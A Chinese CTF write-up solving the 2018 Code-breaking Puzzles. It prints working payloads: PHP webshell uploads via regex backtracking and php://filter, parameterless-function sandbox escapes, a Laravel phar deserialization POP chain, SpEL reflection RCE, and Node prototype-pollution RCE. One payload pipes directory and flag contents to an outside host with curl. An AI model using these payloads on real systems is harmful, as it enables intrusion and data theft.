Code-breaking Puzzles 2018 Note
0x00前言
题目知识点概述:
- function PHP函数利用技巧
- pcrewaf PHP正则特性
- phpmagic PHP写文件技巧
- phplimit PHP代码执行限制绕过
- nodechr Javascript字符串特性
- javacon SPEL表达式沙盒绕过
- lumenserial 反序列化在7.2下的利用
- picklecode Python反序列化沙盒绕过
- thejs Javascript的原型污染漏洞
PS: 比较早写的笔记,但是一直没时间补完(这笔记好像拖了快一年???),暂时不补充了;特点是详细,感觉新手也能看得懂
0x01 function
代码以及题目环境可以从Github上找到,一下不在赘述,只提及知识点,
1.解决正则问题
preg_match('/^[a-z0-9_]*$/isD', $action)
,$action
中要出现数字字母下划线以外的字符。
可以直接使用burp对字符进行测试(但这个字符必须还是有用的)
PS:网上有的说在这里测试ASCII字符,其实就是有效字符的意思
至于为什么是 \
:
code-breaking puzzles第一题,function,为什么函数前面可以加一个%5c?
其实简单的不行,php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
就是\在php中表示默认的命名空间,比如写一些类的时候会在开头写1
21. namespace think\db;
2. use think\Exception;
2.create_function->rce
使用create_function('', $_GET['code']);
达到远程RCE的效果
具体可以看php的源码 Zend/zend_builtin_functions.c:1858
可见用户输入的参数是function_args、function_code,他们被拼接成一个完整的PHP函数:
function __lambda_func ( function_args ) { function_code } \0
这个函数代码会先放在zend_eval_stringl里执行,可以理解为eval。执行成功后,再于函数列表中找到lambda_func函数,将其重命名成lambda_%d,%d代表“这是本进程第几个匿名函数”。最后从函数列表里删除lambda_func。
由于代码就是简单的拼接,所以我们可以闭合括号,执行任意代码。比如:
- 如果可控在第一个参数,需要闭合圆括号和大括号:create_function(‘){}phpinfo();//‘, ‘’);
- 如果可控在第二个参数,需要闭合大括号:create_function(‘’, ‘}phpinfo();//‘);
PS:
扩展一下,类似的eval也是将其中的字符串与进行拼接
"<?php ".$code."?>"
从而可以传入图?>、<?php闭合前后的标签,让中间的代码块不会被当作php代码执行。补充两个CTF常用的查看文件的函数
1 | http://51.158.75.42:8087/?action=\create_function&arg=1;}print_r(scandir('../'));/* |
0x02 pcrewaf
关键在于正则匹配的绕过1
2
3function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
首先要知道正则的匹配流程和引擎
DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
PHP采用的是NFA的正则引擎,具体的解析见 《PHP利用PCRE回溯次数限制绕过某些安全限制》
利用则是通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。
POC1
2
3
4
5
6
7
8
9import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
or1
2with open("shell.txt", "w+") as f:
f.write("<?php print_r(scandir('../../../'));print_r(file_get_contents('../../../flag_php7_2_1s_c0rrect'));/*"+'A'*1000000)
也可以使用readfile
函数来读取文件
此类型的修复方式是使用强等于的方式来判断匹配的结果1
2
3if (is_php($data) === 0){
write ...
}
PS: 这个题目在最初是存在一个非预期解的,当时的正则如下1
2
3function is_php($data){
return preg_match('/<\?.*[\(\`].*/is', $data);
}
这种形式是可以使用glob+file_get_contents来获取flag的,具体形式如下1
2chopper=var_dump(glob('../../../*'));
chopper=var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));
glob()函数是获取与模式匹配的文件路径,找到文件后直接读取。
之后的正则修改为了现在的形式1
2
3function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
0x03 phpmagic
关键在于文件写入的地方1
2
3
4$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
1.$_SERVER[‘SERVER_NAME’]
(1) 查看官方手册发现$_SERVER[‘SERVER_NAME’]是可以被我们控制的,只要修改数据包中host字段的值就好
(2) $log_name
来自$_POST['log']
因而也可控
2.解决扩展名过滤问题
1 | !in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true) |
使用如下payload可以绕过pathinfo对后缀名的检测,进而将内容正常写入filename.php文件中1
filename=shell.php/.&content=<?php phpinfo();?>
3.解决htmlspecialchars过滤问题
htmlspecialchars函数会将’<’转为’<’,因而不能够直接写webshell。但是 phithon 曾在一篇文章中提到使用PHP伪协议+base64/rot13编码和解码过程处理掉exit–《谈一谈php://filter的妙用》
PS:
- base64必须是4的整数倍;
- 要注意base64中的=只能出现在最末尾,而我们插入的字符串是在中间的,所以我们插入的字符串里不能有=;
- PHP伪协议base64解码的trick:解码中遇到不符合规范的字符直接跳过。
PHP具有一个特点:一切传入filename的地方都可以使用php伪协议,比如:file_put_contents和readfile函数。在解析phar的时候曾提到过大量的此类函数。
4.寻找可控变量构造payload
可以看到$domain内容可控
构造可利用的base64字符串,最终的数据包如下1
2
3
4
5
6
7
8
9
10
11
12
13POST / HTTP/1.1
Host: php
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8082/
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
Connection: close
Upgrade-Insecure-Requests: 1
domain=PD89YGNhdCAnLi4vLi4vLi4vZmxhZ19waHBtYWcxY191cjEnYDsvKioq&log=://filter/write=convert.base64-decode/resource=shell.php/.
此处对shell的构造有坑,晚上填一下
0x04 phplimit
1 |
|
题目限制:函数可以多层嵌套但是最后一个不能包含参数.
1.session_id
session_id用于设置和获取当前的会话id,也就是PHPSESSID的值,采用如下这种方式就可以获取当前的PHPSESSID的。1
session_id(session_start())
至于编码问题可以使用hex2bin()函数来解决,hex2bin()并不是将16进制转换为2进制,而是将16进制字符串转换为2进制字符串,示例如下:1
2
3
4
5
6php > $t="7072696e745f722866696c655f6765745f636f6e74656e747328272e2e2f666c61675f7068706279703473732729293b";
php > var_dump(hex2bin($t));
string(48) "print_r(file_get_contents('../flag_phpbyp4ss'));"
php > $tt="print_r(file_get_contents('../flag_phpbyp4ss'));";
php > var_dump(bin2hex($tt));
string(96) "7072696e745f722866696c655f6765745f636f6e74656e747328272e2e2f666c61675f7068706279703473732729293b"
最终构造的数据包如下:1
2
3
4
5
6
7
8
9GET /?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1
Host: 127.0.0.1:8084
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: PHPSESSID=7072696e745f722866696c655f6765745f636f6e74656e747328272e2e2f666c61675f7068706279703473732729293b
2.get_defined_vars
下面看一个示例:1
2
3
4php > $b = "zeroyu";
php > $arr = get_defined_vars();
php > print_r($arr["b"]);
zeroyu
因为不能传入参数所以我们可以结合current()和next()函数来完成对变量的取值,最终构造payload如下:1
/?code=eval(next(current(get_defined_vars())));&zeroyu=print_r(scandir('../'));print_r(file_get_contents('../flag_phpbyp4ss'));
此外还可以使用reset来将数组指针定位到第一个位置进而获取我们想要的变量,从而构造payload如下:1
/?test=readfile("../flag_phpbyp4ss");//&code=eval(implode(reset(get_defined_vars())));
之前提到过牌glob函数,所以payload还可以这样写1
/?code=eval(next(current(get_defined_vars())));&b=var_dump(glob(%27/var/www/*%27));print_r(file_get_contents('../flag_phpbyp4ss'));
3. getcwd
getcwd()函数是获取当前目录,所以通过切换目录读文件的方案也是可行的1
/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
PS:附加几个小栗子1
2
3?cmd=print(readdir(opendir(getcwd()))); 可以列目录
?cmd=print(readfile(readdir(opendir(getcwd())))); 读文件
?cmd=print(dirname(dirname(getcwd()))); print出/var/www
4.getallheaders
getallheaders()可以获取全部HTTP请求头信息,从而伪造HTTP头字段就可以达到RCE效果,但是这个函数是apache_request_headers函数的别名,只适用于apache环境对于本题目是没有作用的。
关于这个函数的使用,可以参考RCTF 2018的r-cursive题目。1
2GET /?cmd=eval(implode(getallheaders())); HTTP/1.1
cmd: phpinfo(); //
PS:那道题目中还涉及到利用open_basedir进行沙盒逃逸
5.getenv
这个函数再PHP5.6版本下不能使用,但是在PHP7.1以及以上版本是可以在不加参数的情况下像get_defined_vars()一样获取服务段的env数据。
0x05 nodechr
此题目考察一些javascript的小特性:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}
return undefined
}
async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
if (user) {
ctx.session.user = user
jump = ctx.router.url('admin')
}
}
ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}
从源码上看是很明显拼接直接注入,但是select和union被过滤。
1.toUpperCase()和toLowerCase()特性
因而利用JS的小特性进行绕过,具体参考《Fuzz中的javascript大小写特性》
Fuzz代码如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70if (!String.fromCodePoint) {
(function() {
var defineProperty = (function() {
// IE 8 only supports `Object.defineProperty` on DOM elements
try {
var object = {};
var $defineProperty = Object.defineProperty;
var result = $defineProperty(object, object, object) && $defineProperty;
} catch(error) {}
return result;
}());
var stringFromCharCode = String.fromCharCode;
var floor = Math.floor;
var fromCodePoint = function() {
var MAX_SIZE = 0x4000;
var codeUnits = [];
var highSurrogate;
var lowSurrogate;
var index = -1;
var length = arguments.length;
if (!length) {
return '';
}
var result = '';
while (++index < length) {
var codePoint = Number(arguments[index]);
if (
!isFinite(codePoint) || // `NaN`, `+Infinity`, or `-Infinity`
codePoint < 0 || // not a valid Unicode code point
codePoint > 0x10FFFF || // not a valid Unicode code point
floor(codePoint) != codePoint // not an integer
) {
throw RangeError('Invalid code point: ' + codePoint);
}
if (codePoint <= 0xFFFF) { // BMP code point
codeUnits.push(codePoint);
} else { // Astral code point; split in surrogate halves
// http://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
codePoint -= 0x10000;
highSurrogate = (codePoint >> 10) + 0xD800;
lowSurrogate = (codePoint % 0x400) + 0xDC00;
codeUnits.push(highSurrogate, lowSurrogate);
}
if (index + 1 == length || codeUnits.length > MAX_SIZE) {
result += stringFromCharCode.apply(null, codeUnits);
codeUnits.length = 0;
}
}
return result;
};
if (defineProperty) {
defineProperty(String, 'fromCodePoint', {
'value': fromCodePoint,
'configurable': true,
'writable': true
});
} else {
String.fromCodePoint = fromCodePoint;
}
}());
}
for (var j = 'A'.charCodeAt(); j <= 'Z'.charCodeAt(); j++){
var s = String.fromCodePoint(j);
for (var i = 0; i < 0x10FFFF; i++) {
var e = String.fromCodePoint(i);
if (s == e.toUpperCase() && s != e) {
document.write("char: "+e+"<br/>");
};
};
}
最终可以得出以下几点特性1
2
3"ı".toUpperCase() == 'I'
"ſ".toUpperCase() == 'S'
"K".toLowerCase() == 'k'
从而构造payload1
username=test&password=%27+un%C4%B1on+%C5%BFelect+1,(%C5%BFelect+flag+from+flags),'3
我们可以看一下这个payload经过处理之后是怎样的
PS: 补充另外一个JS的小特性,这个特性在《Security Bugs in Practice: SSRF via Request Splitting》中被使用
2.unicode大小写转换问题
在此处补充一下Python3的unicode大小写转换问题,造成这个问题的原因是
这里的特殊部分是转换行为。 并非所有Unicode字符在转换为大写字母时都具有匹配的表示形式 - 因此浏览器通常倾向于采用外观相似,最适合的映射ASCII字符。 这种行为有相当大范围的字符,所有浏览器的做法都有所不同。
1
2
3 "ı".upper() == 'I'
"ſ".upper() == 'S'
"K".lower() == 'k'
还有一些其其它的:1
2
3
4
5
6
7
8
9
10
11K ---- k
ß(223) ---- SS
ı(305) ---- I
ſ(383) ---- S
ff(64256) ---- FF
fi(64257) ---- FI
fl(64258) ---- FL
ffi(64259) ---- FFI
ffl(64260) ---- FFL
ſt(64261) ---- ST
st(64262) ---- ST
0x06 lumenserial
1. 环境配置
因为此题是基于laravel框架开发的,所以在本地要用 composer install
进行环境配置,方便后面的审计。
2. phpggc
这个题目是基于laravel框架开发的,phpggc中又恰好有4种关于Laravel框架RCE的payload生成方法,所以首先学习一下这四种payload的生成。
第一种
从上图代码我们可以分析出反序列化的时候,类方法调用过程如下,首先执行如下语句,假设此时$function
和$parameter
参数分别对应system
和id
1
new \Illuminate\Broadcasting\PendingBroadcast(new \Faker\Generator($function),$parameter);
接着跟进到\Illuminate\Broadcasting\PendingBroadcast
类中看到如下信息1
2
3
4public function __destruct()
{
$this->events->dispatch($this->event);
}
将之前的(new \Faker\Generator($function),$parameter)
代入其实执行的就是1
new \Faker\Generator($function)->dispatch($parameter);
可看到将Generator
当做函数调用进行使用了,所以直接查看到其中的如下代码,此时__call
的参数是dispatch和id1
2
3
4public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
之后跟进format
函数进行查看,发现使用到了call_user_func_array
函数来进行处理。1
2
3
4public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
继续跟进一下getFormatter
函数,其中的参数是dispatch1
2
3
4
5
6
7
8
9
10
11
12
13
14public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
最终getFormatter
函数将返回system
。
PS:__call
是在不存在对应的函数调用时才使用的。
第二种
类似的进行分析,首先在反序列化时也是先进入1
2
3
4public function __destruct()
{
$this->events->dispatch($this->event);
}
针对1
new \Illuminate\Broadcasting\PendingBroadcast(new \Illuminate\Events\Dispatcher($function, $parameter),$parameter);
对应执行的就是1
(new \Illuminate\Events\Dispatcher($function, $parameter)->dispatch($parameter)
要知道此时是有dispatch
这个函数的,所以我们就继续跟进这个函数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25public function dispatch($event, $payload = [], $halt = false)
{
[$event, $payload] = $this->parseEventAndPayload(
$event, $payload
);//将$event设置为数组返回
if ($this->shouldBroadcast($payload)) {
$this->broadcastEvent($payload[0]);
}
$responses = [];
foreach ($this->getListeners($event) as $listener) {
$response = $listener($event, $payload);
if ($halt && ! is_null($response)) {
return $response;
}
if ($response === false) {
break;
}
$responses[] = $response;
}
return $halt ? null : $responses;
}
此处只看$event
变量的传递,所以继续跟入getListeners
函数,可以看到我们传入的类名肯定是不存在的,因此这个函数必定返回$listeners
变量的值。1
2
3
4
5
6
7
8
9
10
11
12
13public function getListeners($eventName)
{
$listeners = $this->listeners[$eventName] ?? [];
$listeners = array_merge(
$listeners,
$this->wildcardsCache[$eventName] ?? $this->getWildcardListeners($eventName)
);
return class_exists($eventName, false)
? $this->addInterfaceListeners($eventName, $listeners)
: $listeners;
}
假设我们使用phpggc生成的payload如下1
2 zeroyu@zeros ~ ./phpggc Laravel/RCE2 system id
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"*listeners";a:1:{s:2:"id";a:1:{i:0;s:6:"system";}}}s:8:"*event";s:2:"id";}
那么最终dispatch函数中的$response = $listener($event, $payload);
对应返回的就是$response=system('id',[]);
此时$response
将保存有命令执行后的结果。
第三种
由下面这句代码展开分析1
return new \Illuminate\Broadcasting\PendingBroadcast(new \Illuminate\Notifications\ChannelManager($function, $parameter)
反序列化的时候首先还是到PendingBroadcast
中调用__destruct
1
2
3
4public function __destruct()
{
$this->events->dispatch($this->event);
}
所这次的就相当于1
new \Illuminate\Notifications\ChannelManager($function, $parameter)->dispatch($this->event);
要知道ChannelManager
里面是没有dispatch
函数的,所以就会调用__call
函数1
2
3
4public function __call($method, $parameters)
{
return $this->driver()->$method(...$parameters);
}
$method(...$parameters);
这部分并不重要,之后主要跟进driver
函数1
2
3
4
5
6
7
8
9public function driver($driver = null)
{
$driver = $driver ?: $this->getDefaultDriver();
if (! isset($this->drivers[$driver])) {
$this->drivers[$driver] = $this->createDriver($driver);
}
return $this->drivers[$driver];
}
之前我们设置了如下几个变量,所以在此处getDefaultDriver();
将返回x
1
2
3$this->app = $parameter;
$this->customCreators = ['x' => $function];
$this->defaultChannel = 'x';
接下来会继续到createDriver
函数的位置,之后跟进一下这个函数1
2
3
4protected function createDriver($driver)
{
if (isset($this->customCreators[$driver])) {
return $this->callCustomCreator($driver);
可以看到接下来继续进入callCustomCreator
函数1
2
3
4protected function callCustomCreator($driver)
{
return $this->customCreators[$driver]($this->app);
}
也正是在此处返回了$function($parameter)
的执行结果。
第四种
首先看一下这个chain的开始1
new \Illuminate\Broadcasting\PendingBroadcast(new \Illuminate\Validation\Validator($function),$parameter);
可以看到,这链也是从PendingBroadcast
的__destruct
开始的1
2
3
4public function __destruct()
{
$this->events->dispatch($this->event);
}
所以此处对应的执行就是1
new \Illuminate\Validation\Validator($function)->dispatch($parameter);
可以看到Validator
类中也是没有dispatch
函数的,因此调用的是__call
函数1
2
3
4
5
6
7
8
9
10public function __call($method, $parameters)
{
$rule = Str::snake(substr($method, 8));
// $rule=''
if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);
}
throw new BadMethodCallException("Method [$method] does not exist.");
}
之后跟进callExtension
函数,在其中的call_user_func_array
处成功执行我们需要执行的函数。1
2
3
4
5
6
7
8
9
10protected function callExtension($rule, $parameters)
{
$callback = $this->extensions[$rule];
// 之前chain中写的是$this->extensions = ['' => $function];所以此处的$callback=$function
if (is_callable($callback)) {
return call_user_func_array($callback, $parameters);
} elseif (is_string($callback)) {
return $this->callClassBasedExtension($callback, $parameters);
}
}
这四种chain的分析可以参考《PHP反序列化入门之寻找POP链(一)》
PS:但是文中对第三种的分析存在一些问题,可以参考我的表述
小结
总结起来以上四种类型要么是利用调用dispatch
来完成,要么是利用$this->events
中的__call
完成。
3. POP chain的构造
pop chain的构造一般都是从寻找__wakeup
或者 __destruct
开始的
寻找思路:
- 找
dispatch
完成合适的函数调用 寻找合适的
$this->events
来使用其中的__call
chain 1
入口点 cat/vendor/illuminate/broadcasting/PendingBroadcast.php
__destruct()
- cat/vendor/fzaninotto/faker/src/Faker/ValidGenerator.php
__call($name, $arguments)
在这其中call_user_func_array函数的返回结果作为call_user_func函数的参数,$this->validator又是可控的,进而call_user_func函数的参数均是可控的。但是想用file_put_contents函数来写shell需要两个参数,所以call_user_func不能够直接使用,需要继续寻找一个call_user_func_array函数来用 - cat/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnCallback.php
invoke(Invocation $invocation)
函数存在一个call_user_func_array函数,其中第一个参数可控,第二个参数需要Invocation对象 - cat/vendor/phpunit/phpunit/src/Framework/MockObject/Invocation/StaticInvocation.php 中找到对接口
Invocation
的实现
最终构造出的poc如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
function __construct($events, $event){
$this->events = $events;
$this->event = $event;
}
}
};
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null){
$this->default = $default;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
// __call方法中有call_user_func_array、call_user_func
public function __construct($generator, $validator = null, $maxRetries = 10000)
{
$this->generator = $generator;
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
}
};
namespace PHPUnit\Framework\MockObject\Stub{
class ReturnCallback
{
private $callback;
public function __construct($callback)
{
$this->callback = $callback;
}
}
};
namespace PHPUnit\Framework\MockObject\Invocation{
class StaticInvocation{
private $parameters;
public function __construct($parameters){
$this->parameters = $parameters;
}
}
};
namespace{
$function = 'file_put_contents';
$parameters = array('/var/www/html/11.php','<?php phpinfo();?>');
$staticinvocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
$returncallback = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);
$defaultgenerator = new Faker\DefaultGenerator($staticinvocation);
$validgenerator = new Faker\ValidGenerator($defaultgenerator,array($returncallback,'invoke'),2);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($validgenerator,123);
$o = $pendingbroadcast;
$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
};
poc执行过程分析
起始点
1
2$validgenerator = new Faker\ValidGenerator($defaultgenerator,array($returncallback,'invoke'),2);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($validgenerator,123);可以看到首先也是进入到了destruct(),将dispatch作为函数调用进行了使用,但是ValidGenerator类中没有这个函数,所以就调用call,参数为dsipatch和123。此处要注意到ValidGenerator的几个参数分别是
$defaultgenerator,array($returncallback,'invoke'),2
1
2
3$parameters = array('/var/www/html/11.php','<?php phpinfo();?>');
$staticinvocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
$defaultgenerator = new Faker\DefaultGenerator($staticinvocation);
因此下面这句中的1
$res = call_user_func_array(array($this->generator, $name), $arguments);
array($this->generator, $name)
实际上就是执行了1
new Faker\DefaultGenerator($staticinvocation)->dispatch
但是DefaultGenerator中也没有dispatch函数吗,因此就调用call函数来处理,他的call函数是直接将$staticinvocation的值进行返回
new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
是一个实例化后的Invocation对象,并且它可以给出我们需要参数array,也就是$res = 这个对象
- 接下来回到$validgenerator = new Faker\ValidGenerator($defaultgenerator,array($returncallback,’invoke’),2);继续看其中的
call_user_func($this->validator, $res)
这里的$this->validator
其实就是array($returncallback,'invoke')
,整体对应的含义如下1
new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function)->invoke($res);
invoke的函数定义如下1
2
3
4public function invoke(Invocation $invocation)
{
return \call_user_func_array($this->callback, $invocation->getParameters());
}
可以看到$res变量所对应的对象在此处将取出我们需要的$parameters,而$this->callback就是我们之前设置的$function
chain 2
这个pop chain出自lemon师傅,只这条相较于上条答题相同但是比较绕,我在注释已经做了详细的解释。
参考:
《lumenserial–kingkk》
《lumenserial-l3m0n》
1 |
|
小结
在此大致做个小结:
- 首先,此处禁用了用于执行系统命令的函数,所以不能rce只能想办法getshell,写shell就要用
file_put_contents
函数,此时就涉及两个参数,所以就必须找call_user_func_array
这样的函数来进行调用。 - pop chain的构造对于框架而言是找到一个好的起始点,一般而言是找
__wakeup
和__destruct
,但是框架的起始点和构造思想可以参考phpggc。对与laravel框架而言,就是看使用dispatch
还是使用__call
(选择的依据就是这两者中会不会涉及到call_user_func_array
)。
补充
在做此题目的时候之所以会想到是反序列漏洞是看如下信息:
首先看框架的路由
1
2$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');其次根据路由看
Controller
,并在Controller
中寻找敏感点,比如此处的download
1
2
3
4
5private function download($url)
{
......
$content = file_get_contents($url);
......查看url参数是否可控,是否过滤,那么就查看一下这个函数的调用点
1
2
3
4
5
6
7
8
9
10protected function doCatchimage(Request $request)
{
$sources = $request->input($this->config['catcherFieldName']);
$rets = [];
if ($sources) {
foreach ($sources as $url) {
$rets[] = $this->download($url);
}
}继续跟进
config['catcherFieldName']
1
"catcherFieldName": "source", /* 提交的图片列表表单名称 */
可以看到路径上无过滤,因此参数可控,可以在这个点使用phar来getshell,进而就有了上面的pop chain构造
- getshell
1
http://127.0.0.1:8080/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/78ed78f65afaa8137864b4839f2076a8/201904/14/9a032ef2cab676e1f622.gif
其它pop chain参考 《lumenserial–evil》
0x07 javacon
1. 环境配置
使用idea打开这个项目,之后右键jar包选择Add as Library,之后就可以分析其中的源代码了。
配置进行远程调试
1 | -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 |
命令启动1
java -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=y -jar challenge-0.0.1-SNAPSHOT.jar
之后点击DEBUG开始调试
2. 漏洞相关知识点
2.1 EL表达式
2.2 SpEL表达式注入
2.3 反射
3. 漏洞调试分析
可以看出是基于Spring框架编写的代码,所以首先查看其配置文件application.yml
1 | spring: |
可以看到用户的配置文件中写了一个黑名单和一个用户信息
SmallEvaluationContext 继承 StandardEvaluationContext,主要是提供一个上下文环境,相当于一个容器。
ChallengeApplication 用于启动
Encryptor 加密解密工具类
KeyworkProperties 使用黑名单时需要
UserConfig 用户模型,可以看到在RemberMe时使用了Encryptor
引用自:http://rui0.cn/archives/1015
主要从MainController开始看其功能实现
此处的了漏洞主要是SpEL表达式问题,但是因为有黑名单的限制,所以需要利用反射来拼接payload达到绕过的目的。
常规rce方式1
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator")
利用反射拼接的方式1
String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl http://i.zeye.xyz/test");
PS: 一个坑点,在JAVA中Runtime中exec对复杂一点的linux命令执行不了…我们需要将其参数改成如下才可以
1 | new String[]{"/bin/bash\","-c","xxxxx"} |
之后构造的payload如下1
System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl http://i.zeye.xyz/`cd / && ls|base64|tr '\\n' '-'`\"})}"));
最终利用payload如下1
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl http://i.zeye.xyz/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})}
参考:《Code-Breaking Puzzles — javacon WriteUp》
0x08 thejs
1. 漏洞相关知识点
原型链污染,因为JavaScript是使用原型链机制来实现继承的,因此就可能会在能够控制数组(对象)的“键名”的操作处存在可污染点。
详细分析参考:《深入理解 JavaScript Prototype 污染攻击》
2. 题目解答
如果想要修改父对象的原型,有如下两种方式
inst.constructor.prototype
inst.__proto__
那么推广一下的话,又有如下两种方式inst[constructor][prototype][]
inst[__proto__][]
所以也就是说只要找对数组进行操作的地方,我们就有可能完成对原型的污染。但是还要注意的是想办法赋值的__proto__
对象并不是真正的这个对象,所以想要写到真正的__proto__
中,我们需要一层赋值。
所以接下来构造攻击链的思路是: 找到一个未定义的变量,但是这个变量要在后面被调用。
经过分析发现sourceURL
是未定义的。
程序中只有一个输入点也就是req.body
,之后经过lodash.merge
将两个对象进行合并
后面可以看到sourceURL
在判断中被调用
因而成功造成原型链污染,之后在模板渲染中的Function
函数中将造成任意代码执行,我们可以在控制台中简单测试一下
一般来说,nodejs中可以直接通过require导入包来达到rce的效果,如下所示
1 | global.require("child_process").execSync("whoami").toString() |
但是此题环境中有沙箱对此进行了限制,因此如下payload是无法成功的。需要对沙箱环境进行bypass
payload1
{"__proto__" : {"sourceURL" : "\r\nreturn e = () => {for (var a in {}){delete Object.prototype[a];}return global.require('child_process').execSync('whoami').toString()}\r\n"}}
效果
bypass的payload可以参考这篇文章
最终构造两个payload如下所示
1 | {"__proto__" : {"sourceURL" : "\r\nreturn e = () => {for (var a in {}){delete Object.prototype[a];}return global.process.mainModule.constructor._load('child_process').execSync('ls').toString()}\r\n"}} |
